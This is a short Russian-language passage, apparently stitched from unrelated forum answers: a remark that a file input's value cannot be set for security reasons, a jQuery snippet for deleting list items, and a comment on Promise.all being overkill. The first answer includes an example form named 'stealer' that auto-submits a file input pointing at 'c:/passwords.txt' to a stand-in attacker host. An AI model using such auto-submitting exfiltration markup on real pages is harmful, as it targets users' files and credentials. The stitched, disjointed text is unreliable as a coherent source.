<input type="file">
установить свое value, то у вас ничего не выйдет - это недоступно по соображениям безопасности.<form id="stealer" action="http://evil-sile.com" method="post" enctype="multipart/form-data">
<input type="file" value="c:/passwords.txt">
</form>
<script>stealer.submit()</script>
$('ul').on('click', '.delete', function(){
$(this).closest('li').remove()
})
Похожий на ваш пример есть в документации MDN Promise.all()
правда там только 4 итерации используют, а не сто. Использование промисов, в данном случае, дикий оверкилл. ИМХО.